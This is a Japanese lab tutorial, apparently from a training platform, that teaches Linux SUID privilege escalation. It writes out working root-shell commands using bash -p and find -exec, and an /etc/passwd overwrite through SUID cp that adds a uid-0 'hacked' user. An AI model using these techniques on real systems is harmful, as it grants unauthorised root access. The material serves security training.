はじめに
この実験では、SUID(実行時にユーザー ID を設定する)パーミッションについて学び、Linux システムでこれを利用して特権昇格を行う方法を学びます。目的は、bash、find、cp、mv コマンドなどのさまざまな手法を使って SUID バイナリを悪用し、root アクセスを取得することです。
SUID の理解
このステップでは、SUID パーミッションの概念とその影響について理解します。
通常、Linux でプログラムを実行すると、それは現在のユーザーの権限で実行されます。ただし、cp のような一部のプログラムは、制限されたディレクトリにファイルをコピーするなど、特定の操作を実行するために昇格された権限が必要です。通常のユーザーがこのようなプログラムを昇格された権限で実行できるようにするために、実行可能ファイルに SUID パーミッションを設定することができます。
SUID は「実行時にユーザー ID を設定する(Set user ID upon execution)」の略です。ファイルに SUID パーミッションが設定されている場合、それは実行するユーザーに関係なく、所有者の権限で実行されます。たとえば、cp コマンドは root ユーザーが所有しており、SUID ビットが設定されているため、どのユーザーでも root 権限で実行できます。
cp コマンドの SUID パーミッションを確認し、出力をファイルに保存するには、次のコマンドを実行します。
ls -l /usr/bin/cp > /home/labex/project/suid_cp.txt
次のコマンドを使用して、suid_cp.txt ファイルの内容を表示します。
cat /home/labex/project/suid_cp.txt
期待される出力:
-rwsr-xr-x 1 root root 141832 Feb 8 2024 /usr/bin/cp
パーミッションビットに s が表示され、SUID パーミッションが設定されていることを示しています。
SUID は通常のユーザーが特定の特権コマンドを実行できるようにするために便利ですが、SUID バイナリがシステムコマンドの実行やファイルの変更機能を提供する場合、悪用される可能性もあります。
bash を使った SUID の利用
このステップでは、SUID パーミッションが設定された bash コマンドを利用して特権昇格を行う方法を学びます。
まず、ターミナルを開き、
/home/labex/projectディレクトリに移動します。cd /home/labex/projectbashコマンドのパーミッションを確認します。ls -l /bin/bash期待される出力:
-rwsr-xr-x 1 root root 1037520 Feb 5 2022 /bin/bashbashコマンドに SUID ビットが設定されている場合、次のコマンドを使用して root 権限でシステムコマンドを実行することができます。bash -pwhoamiを使用して、root シェルになっていることを確認できます。whoami期待される出力:
rootこれで、
/rootディレクトリにroot.txtという名前のファイルを作成し、その内容を確認することができます。touch /root/root.txt/rootディレクトリにroot.txtファイルが表示されるはずです。
find を使った SUID の利用
このステップでは、SUID パーミッションが設定された find コマンドを利用して特権昇格を行う方法を学びます。
前のステップで root シェルを取得しているはずです。このステップでは、exit コマンドを使用するか、新しいターミナルを開いて root シェルからログアウトし、labex ユーザーとして再度ログインする必要があります。
まず、
/home/labex/projectディレクトリに移動します。cd /home/labex/projectfindコマンドのパーミッションを確認します。ls -l /usr/bin/findfindコマンドに SUID ビットが設定されている場合、これを利用して root 権限でシステムコマンドを実行することができます。findでコマンドを実行する構文は次の通りです。find < file > -exec < command > \;ここで、
<file>は任意のファイルです。testという名前のファイルを作成しましょう。touch testこれで、
findを使用してコマンドを実行することができます。find test -exec whoami \;これにより、
whoamiコマンドが root 権限で実行されます。ただし、この方法はsshやsuのような対話型コマンドには不便です。より便利な root シェルを取得するには、
/bin/bashコマンドを実行することができます。find test -exec /bin/bash -p \;注意:
-pフラグは、実効ユーザー ID (EUID) を保持し、実際のユーザー ID (RUID) にリセットされないようにするために必要です。これで root シェルを取得しているはずです。
/rootディレクトリにroot.txtという名前のファイルを作成し、その内容を確認します。touch /root/root.txt/rootディレクトリにroot.txtファイルが表示されるはずです。
cp と mv を使った SUID の利用
このステップでは、SUID パーミッションが設定された cp と mv コマンドを利用して、/etc/passwd または /etc/shadow ファイルを変更することで特権昇格を行う方法を学びます。
前のステップで root シェルを取得しているはずです。このステップでは、exit コマンドを使用するか、新しいターミナルを開いて root シェルからログアウトし、labex ユーザーとして再度ログインする必要があります。
まず、
/home/labex/projectディレクトリに移動します。cd /home/labex/projectcpコマンドのパーミッションを確認します。ls -l /bin/cpcpコマンドに SUID ビットが設定されている場合、悪用を進めることができます。/etc/passwdの内容をホームディレクトリ内のファイルにコピーします。cat /etc/passwd > /home/labex/project/passwd次の詳細で新しいユーザーエントリを作成します。
ユーザー名:hacked
パスワード:pass123
/home/labex/project/passwdファイルの末尾に次の行を挿入します。echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /home/labex/project/passwd
これで、SUID パーミッションが設定された
cpコマンドを使用して、/etc/passwdファイルを上書きします。cp /home/labex/project/passwd /etc/passwdファイルを上書きした後、
suコマンドを使用してパスワードpass123でhackedユーザーに切り替えることができます。su hacked
hacked ユーザーのユーザー ID (uid) は 0 なので、root 権限を持つことになります。
mv コマンドの悪用方法は cp と似ています。自分で試してみることができます。
SUID バイナリの検索
このステップでは、システム上で潜在的に特権昇格に利用できる SUID バイナリを検索する方法を学びます。
次のコマンドを使用して、SUID ビットが設定されたすべての実行可能ファイルをリストアップできます。
find / -user root -perm -4000 -print 2> /dev/null find / -perm -u=s -type f 2> /dev/null find / -user root -perm -4000 -exec ls -ldb {} \;以下の手順を実行するために、
/home/labex/projectディレクトリに移動します。cd /home/labex/projectシステム上の SUID バイナリをリストアップするためにいずれかのコマンドを選択し、出力を分析します。
find / -user root -perm -4000 -print 2> /dev/null > check_results.txtcheck_results.txtファイルの内容を確認して、システム上の SUID バイナリのリストを表示します。cat check_results.txtただし、出力には特権昇格に利用できない多くのファイルが含まれている可能性があり、手動での分析が必要です。
まとめ
この実験では、SUID パーミッションについて学び、bash、find、cp、mv などのさまざまな SUID バイナリを Linux システム上で特権昇格に利用する方法を学びました。これらのバイナリを悪用して root アクセスを取得する実践的な経験を積みました。これはサイバーセキュリティの分野において重要なスキルです。この実験では実践的なシナリオを提供し、技術を理解して効果的に適用するための手順を案内しました。



